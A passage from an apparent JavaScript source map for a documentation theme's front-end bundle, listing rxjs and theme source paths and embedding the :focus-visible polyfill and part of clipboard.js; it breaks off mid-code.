"node_modules/rxjs/src/internal/scheduler/AsyncAction.ts", "node_modules/rxjs/src/internal/Scheduler.ts", "node_modules/rxjs/src/internal/scheduler/AsyncScheduler.ts", "node_modules/rxjs/src/internal/scheduler/async.ts", "node_modules/rxjs/src/internal/scheduler/AnimationFrameAction.ts", "node_modules/rxjs/src/internal/scheduler/AnimationFrameScheduler.ts", "node_modules/rxjs/src/internal/scheduler/animationFrame.ts", "node_modules/rxjs/src/internal/observable/empty.ts", "node_modules/rxjs/src/internal/util/isScheduler.ts", "node_modules/rxjs/src/internal/util/args.ts", "node_modules/rxjs/src/internal/util/isArrayLike.ts", "node_modules/rxjs/src/internal/util/isPromise.ts", "node_modules/rxjs/src/internal/util/isInteropObservable.ts", "node_modules/rxjs/src/internal/util/isAsyncIterable.ts", "node_modules/rxjs/src/internal/util/throwUnobservableError.ts", "node_modules/rxjs/src/internal/symbol/iterator.ts", "node_modules/rxjs/src/internal/util/isIterable.ts", "node_modules/rxjs/src/internal/util/isReadableStreamLike.ts", "node_modules/rxjs/src/internal/observable/innerFrom.ts", "node_modules/rxjs/src/internal/util/executeSchedule.ts", "node_modules/rxjs/src/internal/operators/observeOn.ts", "node_modules/rxjs/src/internal/operators/subscribeOn.ts", "node_modules/rxjs/src/internal/scheduled/scheduleObservable.ts", "node_modules/rxjs/src/internal/scheduled/schedulePromise.ts", "node_modules/rxjs/src/internal/scheduled/scheduleArray.ts", "node_modules/rxjs/src/internal/scheduled/scheduleIterable.ts", "node_modules/rxjs/src/internal/scheduled/scheduleAsyncIterable.ts", "node_modules/rxjs/src/internal/scheduled/scheduleReadableStreamLike.ts", "node_modules/rxjs/src/internal/scheduled/scheduled.ts", "node_modules/rxjs/src/internal/observable/from.ts", "node_modules/rxjs/src/internal/observable/of.ts", "node_modules/rxjs/src/internal/observable/throwError.ts", "node_modules/rxjs/src/internal/util/EmptyError.ts", "node_modules/rxjs/src/internal/util/isDate.ts", "node_modules/rxjs/src/internal/operators/map.ts", "node_modules/rxjs/src/internal/util/mapOneOrManyArgs.ts", "node_modules/rxjs/src/internal/util/argsArgArrayOrObject.ts", "node_modules/rxjs/src/internal/util/createObject.ts", "node_modules/rxjs/src/internal/observable/combineLatest.ts", "node_modules/rxjs/src/internal/operators/mergeInternals.ts", "node_modules/rxjs/src/internal/operators/mergeMap.ts", "node_modules/rxjs/src/internal/operators/mergeAll.ts", "node_modules/rxjs/src/internal/operators/concatAll.ts", "node_modules/rxjs/src/internal/observable/concat.ts", "node_modules/rxjs/src/internal/observable/defer.ts", "node_modules/rxjs/src/internal/observable/fromEvent.ts", "node_modules/rxjs/src/internal/observable/fromEventPattern.ts", "node_modules/rxjs/src/internal/observable/timer.ts", "node_modules/rxjs/src/internal/observable/merge.ts", "node_modules/rxjs/src/internal/observable/never.ts", "node_modules/rxjs/src/internal/util/argsOrArgArray.ts", "node_modules/rxjs/src/internal/operators/filter.ts", "node_modules/rxjs/src/internal/observable/zip.ts", "node_modules/rxjs/src/internal/operators/audit.ts", "node_modules/rxjs/src/internal/operators/auditTime.ts", "node_modules/rxjs/src/internal/operators/bufferCount.ts", "node_modules/rxjs/src/internal/operators/catchError.ts", "node_modules/rxjs/src/internal/operators/scanInternals.ts", "node_modules/rxjs/src/internal/operators/combineLatest.ts", "node_modules/rxjs/src/internal/operators/combineLatestWith.ts", "node_modules/rxjs/src/internal/operators/debounceTime.ts", "node_modules/rxjs/src/internal/operators/defaultIfEmpty.ts", "node_modules/rxjs/src/internal/operators/take.ts", "node_modules/rxjs/src/internal/operators/ignoreElements.ts", "node_modules/rxjs/src/internal/operators/mapTo.ts", "node_modules/rxjs/src/internal/operators/delayWhen.ts", "node_modules/rxjs/src/internal/operators/delay.ts", "node_modules/rxjs/src/internal/operators/distinctUntilChanged.ts", "node_modules/rxjs/src/internal/operators/distinctUntilKeyChanged.ts", "node_modules/rxjs/src/internal/operators/throwIfEmpty.ts", "node_modules/rxjs/src/internal/operators/endWith.ts", "node_modules/rxjs/src/internal/operators/finalize.ts", "node_modules/rxjs/src/internal/operators/first.ts", "node_modules/rxjs/src/internal/operators/takeLast.ts", "node_modules/rxjs/src/internal/operators/merge.ts", "node_modules/rxjs/src/internal/operators/mergeWith.ts", "node_modules/rxjs/src/internal/operators/repeat.ts", "node_modules/rxjs/src/internal/operators/sample.ts", "node_modules/rxjs/src/internal/operators/scan.ts", "node_modules/rxjs/src/internal/operators/share.ts", "node_modules/rxjs/src/internal/operators/shareReplay.ts", "node_modules/rxjs/src/internal/operators/skip.ts", "node_modules/rxjs/src/internal/operators/skipUntil.ts", "node_modules/rxjs/src/internal/operators/startWith.ts", "node_modules/rxjs/src/internal/operators/switchMap.ts", "node_modules/rxjs/src/internal/operators/takeUntil.ts", "node_modules/rxjs/src/internal/operators/takeWhile.ts", "node_modules/rxjs/src/internal/operators/tap.ts", "node_modules/rxjs/src/internal/operators/throttle.ts", "node_modules/rxjs/src/internal/operators/throttleTime.ts", "node_modules/rxjs/src/internal/operators/withLatestFrom.ts", "node_modules/rxjs/src/internal/operators/zip.ts", "node_modules/rxjs/src/internal/operators/zipWith.ts", "src/templates/assets/javascripts/browser/document/index.ts", "src/templates/assets/javascripts/browser/element/_/index.ts", "src/templates/assets/javascripts/browser/element/focus/index.ts", "src/templates/assets/javascripts/browser/element/hover/index.ts", "src/templates/assets/javascripts/browser/element/offset/_/index.ts", "src/templates/assets/javascripts/browser/element/offset/content/index.ts", "src/templates/assets/javascripts/utilities/h/index.ts", "src/templates/assets/javascripts/utilities/round/index.ts", "src/templates/assets/javascripts/browser/script/index.ts", "src/templates/assets/javascripts/browser/element/size/_/index.ts", "src/templates/assets/javascripts/browser/element/size/content/index.ts", "src/templates/assets/javascripts/browser/element/visibility/index.ts", "src/templates/assets/javascripts/browser/toggle/index.ts", "src/templates/assets/javascripts/browser/keyboard/index.ts", "src/templates/assets/javascripts/browser/location/_/index.ts", "src/templates/assets/javascripts/browser/location/hash/index.ts", "src/templates/assets/javascripts/browser/media/index.ts", "src/templates/assets/javascripts/browser/request/index.ts", "src/templates/assets/javascripts/browser/viewport/offset/index.ts", "src/templates/assets/javascripts/browser/viewport/size/index.ts", "src/templates/assets/javascripts/browser/viewport/_/index.ts", "src/templates/assets/javascripts/browser/viewport/at/index.ts", "src/templates/assets/javascripts/browser/worker/index.ts", "src/templates/assets/javascripts/_/index.ts", "src/templates/assets/javascripts/components/_/index.ts", "src/templates/assets/javascripts/components/announce/index.ts", "src/templates/assets/javascripts/components/consent/index.ts", "src/templates/assets/javascripts/templates/tooltip/index.tsx", "src/templates/assets/javascripts/templates/annotation/index.tsx", "src/templates/assets/javascripts/templates/clipboard/index.tsx", "src/templates/assets/javascripts/templates/search/index.tsx", "src/templates/assets/javascripts/templates/source/index.tsx", "src/templates/assets/javascripts/templates/tabbed/index.tsx", "src/templates/assets/javascripts/templates/table/index.tsx", "src/templates/assets/javascripts/templates/version/index.tsx", "src/templates/assets/javascripts/components/tooltip/index.ts", "src/templates/assets/javascripts/components/content/annotation/_/index.ts", "src/templates/assets/javascripts/components/content/annotation/list/index.ts", "src/templates/assets/javascripts/components/content/annotation/block/index.ts", "src/templates/assets/javascripts/components/content/code/_/index.ts", "src/templates/assets/javascripts/components/content/details/index.ts", "src/templates/assets/javascripts/components/content/mermaid/index.css", "src/templates/assets/javascripts/components/content/mermaid/index.ts", "src/templates/assets/javascripts/components/content/table/index.ts", "src/templates/assets/javascripts/components/content/tabs/index.ts", "src/templates/assets/javascripts/components/content/_/index.ts", "src/templates/assets/javascripts/components/dialog/index.ts", "src/templates/assets/javascripts/components/header/_/index.ts", "src/templates/assets/javascripts/components/header/title/index.ts", "src/templates/assets/javascripts/components/main/index.ts", "src/templates/assets/javascripts/components/palette/index.ts", "src/templates/assets/javascripts/components/progress/index.ts", "src/templates/assets/javascripts/integrations/clipboard/index.ts", "src/templates/assets/javascripts/integrations/sitemap/index.ts", "src/templates/assets/javascripts/integrations/instant/index.ts", "src/templates/assets/javascripts/integrations/search/highlighter/index.ts", "src/templates/assets/javascripts/integrations/search/worker/message/index.ts", "src/templates/assets/javascripts/integrations/search/worker/_/index.ts", "src/templates/assets/javascripts/integrations/version/index.ts", "src/templates/assets/javascripts/components/search/query/index.ts", "src/templates/assets/javascripts/components/search/result/index.ts", "src/templates/assets/javascripts/components/search/share/index.ts", "src/templates/assets/javascripts/components/search/suggest/index.ts", "src/templates/assets/javascripts/components/search/_/index.ts", "src/templates/assets/javascripts/components/search/highlight/index.ts", "src/templates/assets/javascripts/components/sidebar/index.ts", "src/templates/assets/javascripts/components/source/facts/github/index.ts", "src/templates/assets/javascripts/components/source/facts/gitlab/index.ts", "src/templates/assets/javascripts/components/source/facts/_/index.ts", "src/templates/assets/javascripts/components/source/_/index.ts", "src/templates/assets/javascripts/components/tabs/index.ts", "src/templates/assets/javascripts/components/toc/index.ts", "src/templates/assets/javascripts/components/top/index.ts", "src/templates/assets/javascripts/patches/ellipsis/index.ts", "src/templates/assets/javascripts/patches/indeterminate/index.ts", "src/templates/assets/javascripts/patches/scrollfix/index.ts", "src/templates/assets/javascripts/patches/scrolllock/index.ts", "src/templates/assets/javascripts/polyfills/index.ts"], + "sourcesContent": ["(function (global, factory) {\n typeof exports === 'object' && typeof module !== 'undefined' ? factory() :\n typeof define === 'function' && define.amd ? define(factory) :\n (factory());\n}(this, (function () { 'use strict';\n\n /**\n * Applies the :focus-visible polyfill at the given scope.\n * A scope in this case is either the top-level Document or a Shadow Root.\n *\n * @param {(Document|ShadowRoot)} scope\n * @see https://github.com/WICG/focus-visible\n */\n function applyFocusVisiblePolyfill(scope) {\n var hadKeyboardEvent = true;\n var hadFocusVisibleRecently = false;\n var hadFocusVisibleRecentlyTimeout = null;\n\n var inputTypesAllowlist = {\n text: true,\n search: true,\n url: true,\n tel: true,\n email: true,\n password: true,\n number: true,\n date: true,\n month: true,\n week: true,\n time: true,\n datetime: true,\n 'datetime-local': true\n };\n\n /**\n * Helper function for legacy browsers and iframes which sometimes focus\n * elements like document, body, and non-interactive SVG.\n * @param {Element} el\n */\n function isValidFocusTarget(el) {\n if (\n el &&\n el !== document &&\n el.nodeName !== 'HTML' &&\n el.nodeName !== 'BODY' &&\n 'classList' in el &&\n 'contains' in el.classList\n ) {\n return true;\n }\n return false;\n }\n\n /**\n * Computes whether the given element should automatically trigger the\n * `focus-visible` class being added, i.e. whether it should always match\n * `:focus-visible` when focused.\n * @param {Element} el\n * @return {boolean}\n */\n function focusTriggersKeyboardModality(el) {\n var type = el.type;\n var tagName = el.tagName;\n\n if (tagName === 'INPUT' && inputTypesAllowlist[type] && !el.readOnly) {\n return true;\n }\n\n if (tagName === 'TEXTAREA' && !el.readOnly) {\n return true;\n }\n\n if (el.isContentEditable) {\n return true;\n }\n\n return false;\n }\n\n /**\n * Add the `focus-visible` class to the given element if it was not added by\n * the author.\n * @param {Element} el\n */\n function addFocusVisibleClass(el) {\n if (el.classList.contains('focus-visible')) {\n return;\n }\n el.classList.add('focus-visible');\n el.setAttribute('data-focus-visible-added', '');\n }\n\n /**\n * Remove the `focus-visible` class from the given element if it was not\n * originally added by the author.\n * @param {Element} el\n */\n function removeFocusVisibleClass(el) {\n if (!el.hasAttribute('data-focus-visible-added')) {\n return;\n }\n el.classList.remove('focus-visible');\n el.removeAttribute('data-focus-visible-added');\n }\n\n /**\n * If the most recent user interaction was via the keyboard;\n * and the key press did not include a meta, alt/option, or control key;\n * then the modality is keyboard. Otherwise, the modality is not keyboard.\n * Apply `focus-visible` to any current active element and keep track\n * of our keyboard modality state with `hadKeyboardEvent`.\n * @param {KeyboardEvent} e\n */\n function onKeyDown(e) {\n if (e.metaKey || e.altKey || e.ctrlKey) {\n return;\n }\n\n if (isValidFocusTarget(scope.activeElement)) {\n addFocusVisibleClass(scope.activeElement);\n }\n\n hadKeyboardEvent = true;\n }\n\n /**\n * If at any point a user clicks with a pointing device, ensure that we change\n * the modality away from keyboard.\n * This avoids the situation where a user presses a key on an already focused\n * element, and then clicks on a different element, focusing it with a\n * pointing device, while we still think we're in keyboard modality.\n * @param {Event} e\n */\n function onPointerDown(e) {\n hadKeyboardEvent = false;\n }\n\n /**\n * On `focus`, add the `focus-visible` class to the target if:\n * - the target received focus as a result of keyboard navigation, or\n * - the event target is an element that will likely require interaction\n * via the keyboard (e.g. a text box)\n * @param {Event} e\n */\n function onFocus(e) {\n // Prevent IE from focusing the document or HTML element.\n if (!isValidFocusTarget(e.target)) {\n return;\n }\n\n if (hadKeyboardEvent || focusTriggersKeyboardModality(e.target)) {\n addFocusVisibleClass(e.target);\n }\n }\n\n /**\n * On `blur`, remove the `focus-visible` class from the target.\n * @param {Event} e\n */\n function onBlur(e) {\n if (!isValidFocusTarget(e.target)) {\n return;\n }\n\n if (\n e.target.classList.contains('focus-visible') ||\n e.target.hasAttribute('data-focus-visible-added')\n ) {\n // To detect a tab/window switch, we look for a blur event followed\n // rapidly by a visibility change.\n // If we don't see a visibility change within 100ms, it's probably a\n // regular focus change.\n hadFocusVisibleRecently = true;\n window.clearTimeout(hadFocusVisibleRecentlyTimeout);\n hadFocusVisibleRecentlyTimeout = window.setTimeout(function() {\n hadFocusVisibleRecently = false;\n }, 100);\n removeFocusVisibleClass(e.target);\n }\n }\n\n /**\n * If the user changes tabs, keep track of whether or not the previously\n * focused element had .focus-visible.\n * @param {Event} e\n */\n function onVisibilityChange(e) {\n if (document.visibilityState === 'hidden') {\n // If the tab becomes active again, the browser will handle calling focus\n // on the element (Safari actually calls it twice).\n // If this tab change caused a blur on an element with focus-visible,\n // re-apply the class when the user switches back to the tab.\n if (hadFocusVisibleRecently) {\n hadKeyboardEvent = true;\n }\n addInitialPointerMoveListeners();\n }\n }\n\n /**\n * Add a group of listeners to detect usage of any pointing devices.\n * These listeners will be added when the polyfill first loads, and anytime\n * the window is blurred, so that they are active when the window regains\n * focus.\n */\n function addInitialPointerMoveListeners() {\n document.addEventListener('mousemove', onInitialPointerMove);\n document.addEventListener('mousedown', onInitialPointerMove);\n document.addEventListener('mouseup', onInitialPointerMove);\n document.addEventListener('pointermove', onInitialPointerMove);\n document.addEventListener('pointerdown', onInitialPointerMove);\n document.addEventListener('pointerup', onInitialPointerMove);\n document.addEventListener('touchmove', onInitialPointerMove);\n document.addEventListener('touchstart', onInitialPointerMove);\n document.addEventListener('touchend', onInitialPointerMove);\n }\n\n function removeInitialPointerMoveListeners() {\n document.removeEventListener('mousemove', onInitialPointerMove);\n document.removeEventListener('mousedown', onInitialPointerMove);\n document.removeEventListener('mouseup', onInitialPointerMove);\n document.removeEventListener('pointermove', onInitialPointerMove);\n document.removeEventListener('pointerdown', onInitialPointerMove);\n document.removeEventListener('pointerup', onInitialPointerMove);\n document.removeEventListener('touchmove', onInitialPointerMove);\n document.removeEventListener('touchstart', onInitialPointerMove);\n document.removeEventListener('touchend', onInitialPointerMove);\n }\n\n /**\n * When the polfyill first loads, assume the user is in keyboard modality.\n * If any event is received from a pointing device (e.g. mouse, pointer,\n * touch), turn off keyboard modality.\n * This accounts for situations where focus enters the page from the URL bar.\n * @param {Event} e\n */\n function onInitialPointerMove(e) {\n // Work around a Safari quirk that fires a mousemove on whenever the\n // window blurs, even if you're tabbing out of the page. \u00AF\\_(\u30C4)_/\u00AF\n if (e.target.nodeName && e.target.nodeName.toLowerCase() === 'html') {\n return;\n }\n\n hadKeyboardEvent = false;\n removeInitialPointerMoveListeners();\n }\n\n // For some kinds of state, we are interested in changes at the global scope\n // only. For example, global pointer input, global key presses and global\n // visibility change should affect the state at every scope:\n document.addEventListener('keydown', onKeyDown, true);\n document.addEventListener('mousedown', onPointerDown, true);\n document.addEventListener('pointerdown', onPointerDown, true);\n document.addEventListener('touchstart', onPointerDown, true);\n document.addEventListener('visibilitychange', onVisibilityChange, true);\n\n addInitialPointerMoveListeners();\n\n // For focus and blur, we specifically care about state changes in the local\n // scope. This is because focus / blur events that originate from within a\n // shadow root are not re-dispatched from the host element if it was already\n // the active element in its own scope:\n scope.addEventListener('focus', onFocus, true);\n scope.addEventListener('blur', onBlur, true);\n\n // We detect that a node is a ShadowRoot by ensuring that it is a\n // DocumentFragment and also has a host property. This check covers native\n // implementation and polyfill implementation transparently. If we only cared\n // about the native implementation, we could just check if the scope was\n // an instance of a ShadowRoot.\n if (scope.nodeType === Node.DOCUMENT_FRAGMENT_NODE && scope.host) {\n // Since a ShadowRoot is a special kind of DocumentFragment, it does not\n // have a root element to add a class to. So, we add this attribute to the\n // host element instead:\n scope.host.setAttribute('data-js-focus-visible', '');\n } else if (scope.nodeType === Node.DOCUMENT_NODE) {\n document.documentElement.classList.add('js-focus-visible');\n document.documentElement.setAttribute('data-js-focus-visible', '');\n }\n }\n\n // It is important to wrap all references to global window and document in\n // these checks to support server-side rendering use cases\n // @see https://github.com/WICG/focus-visible/issues/199\n if (typeof window !== 'undefined' && typeof document !== 'undefined') {\n // Make the polyfill helper globally available. This can be used as a signal\n // to interested libraries that wish to coordinate with the polyfill for e.g.,\n // applying the polyfill to a shadow root:\n window.applyFocusVisiblePolyfill = applyFocusVisiblePolyfill;\n\n // Notify interested libraries of the polyfill's presence, in case the\n // polyfill was loaded lazily:\n var event;\n\n try {\n event = new CustomEvent('focus-visible-polyfill-ready');\n } catch (error) {\n // IE11 does not support using CustomEvent as a constructor directly:\n event = document.createEvent('CustomEvent');\n event.initCustomEvent('focus-visible-polyfill-ready', false, false, {});\n }\n\n window.dispatchEvent(event);\n }\n\n if (typeof document !== 'undefined') {\n // Apply the polyfill to the global document, so that no JavaScript\n // coordination is required to use the polyfill in the top-level document:\n applyFocusVisiblePolyfill(document);\n }\n\n})));\n", "/*!\n * clipboard.js v2.0.11\n * https://clipboardjs.com/\n *\n * Licensed MIT \u00A9 Zeno Rocha\n */\n(function webpackUniversalModuleDefinition(root, factory) {\n\tif(typeof exports === 'object' && typeof module === 'object')\n\t\tmodule.exports = factory();\n\telse if(typeof define === 'function' && define.amd)\n\t\tdefine([], factory);\n\telse if(typeof exports === 'object')\n\t\texports[\"ClipboardJS\"] = factory();\n\telse\n\t\troot[\"ClipboardJS\"] = factory();\n})(this, function() {\nreturn /******/ (function() { // webpackBootstrap\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ 686:\n/***/ (function(__unused_webpack_module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\n\n// EXPORTS\n__webpack_require__.d(__webpack_exports__, {\n \"default\": function() { return /* binding */ clipboard; }\n});\n\n// EXTERNAL MODULE: ./node_modules/tiny-emitter/index.js\nvar tiny_emitter = __webpack_require__(279);\nvar tiny_emitter_default = /*#__PURE__*/__webpack_require__.n(tiny_emitter);\n// EXTERNAL MODULE: ./node_modules/good-listener/src/listen.js\nvar listen = __webpack_require__(370);\nvar listen_default = /*#__PURE__*/__webpack_require__.n(listen);\n// EXTERNAL MODULE: ./node_modules/select/src/select.js\nvar src_select = __webpack_require__(817);\nvar select_default = /*#__PURE__*/__webpack_require__.n(src_select);\n;// CONCATENATED MODULE: ./src/common/command.js\n/**\n * Executes a given operation type.\n * @param {String} type\n * @return {Boolean}\n */\nfunction command(type) {\n try {\n return document.execCommand(type);\n } catch (err) {\n return false;\n }\n}\n;// CONCATENATED MODULE: ./src/actions/cut.js\n\n\n/**\n * Cut action wrapper.\n * @param {String|HTMLElement} target\n * @return {String}\n */\n\nvar ClipboardActionCut = function ClipboardActionCut(target) {\n var selectedText = select_default()(target);\n command('cut');\n return selectedText;\n};\n\n/* harmony default export */ var actions_cut = (ClipboardActionCut);\n;// CONCATENATED MODULE: ./src/common/create-fake-element.js\n/**\n * Creates a fake textarea element with a value.\n * @param {String} value\n * @return {HTMLElement}\n */\nfunction createFakeElement(value) {\n var isRTL = document.documentElement.getAttribute('dir') === 'rtl';\n var fakeElement = document.createElement('textarea'); // Prevent zooming on iOS\n\n fakeElement.style.fontSize = '12pt'; // Reset box model\n\n fakeElement.style.border = '0';\n fakeElement.style.padding = '0';\n fakeElement.style.margin = '0'; // Move element out of screen horizontally\n\n fakeElement.style.position = 'absolute';\n fakeElement.style[isRTL ? 'right' : 'left'] = '-9999px'; // Move element to the same position vertically\n\n var yPosition = window.pageYOffset || document.documentElement.scrollTop;\n fakeElement.style.top = \"\".concat(yPosition, \"px\");\n fakeElement.setAttribute('readonly', '');\n fakeElement.value = value;\n return fakeElement;\n}\n;// CONCATENATED MODULE: ./src/actions/copy.js\n\n\n\n/**\n * Create fake copy action wrapper using a fake element.\n * @param {String} target\n * @param {Object} options\n * @return {String}\n */\n\nvar fakeCopyAction = function fakeCopyAction(value, options) {\n var fakeElement = createFakeElement(value);\n options.container.appendChild(fakeElement);\n var selectedText = select_default()(fakeElement);\n command('copy');\n fakeElement.remove();\n return selectedText;\n};\n/**\n * Copy action wrapper.\n * @param {String|HTMLElement} target\n * @param {Object} options\n * @return {String}\n */\n\n\nvar ClipboardActionCopy = function ClipboardActionCopy(target) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {\n container: document.body\n };\n var selectedText = '';\n\n if (typeof target === 'string') {\n selectedText = fakeCopyAction(target, options);\n } else if (target instanceof HTMLInputElement && !['text', 'search', 'url', 'tel', 'password'].includes(target === null || target === void 0 ? void 0 : target.type)) {\n // If input type doesn't support `setSelectionRange`. Simulate it. https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange\n selectedText = fakeCopyAction(target.value, options);\n } else {\n selectedText = select_default()(target);\n command('copy');\n }\n\n return selectedText;\n};\n\n/* harmony default export */ var actions_copy = (ClipboardActionCopy);\n;// CONCATENATED MODULE: ./src/actions/default.js\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n/**\n * Inner function which performs selection from either `text` or `target`\n * properties and then executes copy or cut operations.\n * @param {Object} options\n */\n\nvar ClipboardActionDefault = function ClipboardActionDefault() {\n var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n // Defines base properties passed from constructor.\n var _options$action = options.action,\n action = _options$action === void 0 ? 'copy' : _options$action,\n container = options.container,\n target = options.target,\n text = options.text; // Sets the `action` to be performed which can be either 'copy' or 'cut'.\n\n if (action !== 'copy' && action !== 'cut') {\n throw new Error('Invalid \"action\" value, use either \"copy\" or \"cut\"');\n } // Sets the `target` property using an element that will be have its content copied.\n\n\n if (target !== undefined) {\n if (target && _typeof(target) === 'object' && target.nodeType === 1) {\n if (action === 'copy' && target.hasAttribute('disabled')) {\n throw new Error('Invalid \"target\" attribute. Please use \"readonly\" instead of \"disabled\" attribute');\n }\n\n if (action === 'cut' && (target.hasAttribute('readonly') || target.hasAttribute('disabled'))) {\n throw new Error('Invalid \"target\" attribute. You can\\'t cut text from elements with \"readonly\" or \"disabled\" attributes');\n }\n } else {\n throw new Error('Invalid \"target\" value, use a valid Element');\n }\n } // Define selection strategy based on `text` property.\n\n\n if (text) {\n return actions_copy(text, {\n container: container\n });\n } // Defines which selection strategy based on `target` property.\n\n\n if (target) {\n return action === 'cut' ? actions_cut(target) : actions_copy(target, {\n container: container\n });\n }\n};\n\n/* harmony default export */ var actions_default = (ClipboardActionDefault);\n;// CONCATENATED MODULE: ./src/clipboard.js\nfunction clipboard_typeof(obj) { \"@babel/helpers - typeof\"; if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { clipboard_typeof = function _typeof(obj) { return typeof obj; }; } else { clipboard_typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return clipboard_typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (clipboard_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Helper function to retrieve attribute value.\n * @param {String} suffix\n * @param {Element} element\n */\n\nfunction getAttributeValue(suffix, element) {\n var attribute = \"data-clipboard-\".concat(suffix);\n\n if (!element.hasAttribute(attribute)) {\n return;\n }\n\n return element.getAttribute(attribute);\n}\n/**\n * Base class which takes one or more elements, adds event listeners to them,\n * and instantiates a new `ClipboardAction` on each click.\n */\n\n\nvar Clipboard = /*#__PURE__*/function (_Emitter) {\n _inherits(Clipboard, _Emitter);\n\n var _super = _createSuper(Clipboard);\n\n /**\n * @param {String|HTMLElement|HTMLCollection|NodeList} trigger\n * @param {Object} options\n */\n function Clipboard(trigger, options) {\n var _this;\n\n _classCallCheck(this, Clipboard);\n\n _this = _super.call(this);\n\n _this.resolveOptions(options);\n\n _this.listenClick(trigger);\n\n return _this;\n }\n /**\n * Defines if attributes would be resolved using internal setter functions\n * or custom functions that were passed in the constructor.\n * @param {Object} options\n */\n\n\n _createClass(Clipboard, [{\n key: \"resolveOptions\",\n value: function resolveOptions() {\n var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n this.action = typeof options.action === 'function' ? options.action : this.defaultAction;\n this.target = typeof options.target === 'function' ? options.target : this.defaultTarget;\n this.text = typeof options.text === 'function' ? options.text : this.defaultText;\n this.container = clipboard_typeof(options.container) === 'object' ? options.container : document.body;\n }\n /**\n * Adds a click event listener to the passed trigger.\n * @param {String|HTMLElement|HTMLCollection|NodeList} trigger\n */\n\n }, {\n key: \"listenClick\",\n value: function listenClick(trigger) {\n var _this2 = this;\n\n this.listener = listen_default()(trigger, 'click', function (e) {\n return _this2.onClick(e);\n });\n }\n /**\n * Defines a new `ClipboardAction` on each click event.\n * @param {Event} e\n */\n\n }, {\n key: \"onClick\",\n value: function onClick(e) {\n var trigger = e.delegateTarget || e.currentTarget;\n var action = this.action(trigger) || 'copy';\n var text = actions_default({\n action: action,\n container: this.container,\n target: this.target(trigger),\n text: this.text(trigger)\n }); // Fires an event based on the copy operation result.\n\n this.emit(text ? 'success' : 'error', {\n action: action,\n text: text,\n trigger: trigger,\n clearSelection: function clearSelection() {\n if (trigger) {\n trigger.focus();\n }\n\n window.getSelection().removeAllRanges();\n }\n });\n }\n /**\n * Default `action` lookup function.\n * @param {Element} trigger\n */\n\n }, {\n key: \"defaultAction\",\n value: function defaultAction(trigger) {\n return getAttributeValue('action', trigger);\n }\n /**\n * Default `target` lookup function.\n * @param {Element} trigger\n */\n\n }, {\n key: \"defaultTarget\",\n value: function defaultTarget(trigger) {\n var selector = getAttributeValue('target', trigger);\n\n if (selector) {\n return document.querySelector(selector);\n }\n }\n /**\n * Allow fire programmatically a copy action\n * @param {String|HTMLElement} target\n * @param {Object} options\n * @returns Text copied.\n */\n\n }, {\n key: \"defaultText\",\n\n /**\n * Default `text` lookup function.\n * @param {Element} trigger\n */\n value: function defaultText(trigger) {\n return getAttributeValue('text', trigger);\n }\n /**\n * Destroy lifecycle.\n */\n\n }, {\n key: \"destroy\",\n value: function destroy() {\n this.listener.destroy();\n }\n }], [{\n key: \"copy\",\n value: function copy(target) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {\n container: document.body\n };\n return actions_copy(target, options);\n }\n /**\n * Allow fire programmatically a cut action\n * @param {String|HTMLElement} target\n * @returns Text cutted.\n */\n\n }, {\n key: \"cut\",\n value: function cut(target) {\n return actions_cut(target);\n }\n /**\n * Returns the support of the given action, or all actions if no action is\n * given.\n * @param {String} [action]\n */\n\n }, {\n key: \"isSupported\",\n value: function isSupported() {\n var action = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ['copy', 'cut'];\n var actions = typeof action === 'string' ? [action] : 